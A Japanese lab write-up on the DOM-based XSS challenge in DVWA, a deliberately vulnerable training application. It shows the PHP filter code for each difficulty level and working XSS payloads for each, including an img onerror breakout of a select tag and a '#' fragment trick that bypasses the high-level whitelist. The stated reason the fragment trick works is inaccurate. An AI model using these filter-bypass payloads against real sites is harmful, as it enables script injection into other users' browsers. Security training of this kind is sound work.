DVWA(XXS:DOM)全レベルの脆弱性について


前提

目標

  • 脆弱性の理解を深める。

手順概要

  • 大まかな挙動を把握する
  • コードを見て脆弱性をみつける
  • コードの脆弱性を攻撃する

内容

挙動の把握

  • ボタンを押すとGETリクエストが飛ぶ
  • クエリにdefault=hogeが乗っかる
  • そのクエリをもとにoptionタグへ値が転写される(下図)

コードを確認

low

  • 特に設定なし。
  • scriptを差し込めば、そのまま転写される。
<?php
# No protections, anything goes 
?> 

medium

  • stripos(a,"str")は、aの中に"str"が入っていれば真
  • 今回の場合、<scriptが入っていれば、Englishで処理される
  • 逆に言うと、<scriptを含めなければOKである
<?php
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
    header ("location: ?default=English");
    exit;
} 
?> 

high

  • 文字列が完全に一致しない場合、Englishで処理される。
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    } 

impossible

  • コード不明。いい感じにプロテクトされているらしい。
<?php
# Don't need to do anything, protction handled on the client side
?> 

脆弱性を攻撃する

low

  • 防御無しのため、ストレートに攻撃する。
  • <script>alert("low")</script>

medium

  • <scriptは封印されたので、それ以外で埋め込む。
  • 注意点はDOMを壊さないように調整すること。
  • dummy</select><img src="#" onerror=alert("medium")>

high

  • phpの特殊文字のエスケープがされていないため、コメントアウト#を使用し、チェックをスルーさせる。
  • French# <script>alert("high")</script>

impossible

  • 無理っぽい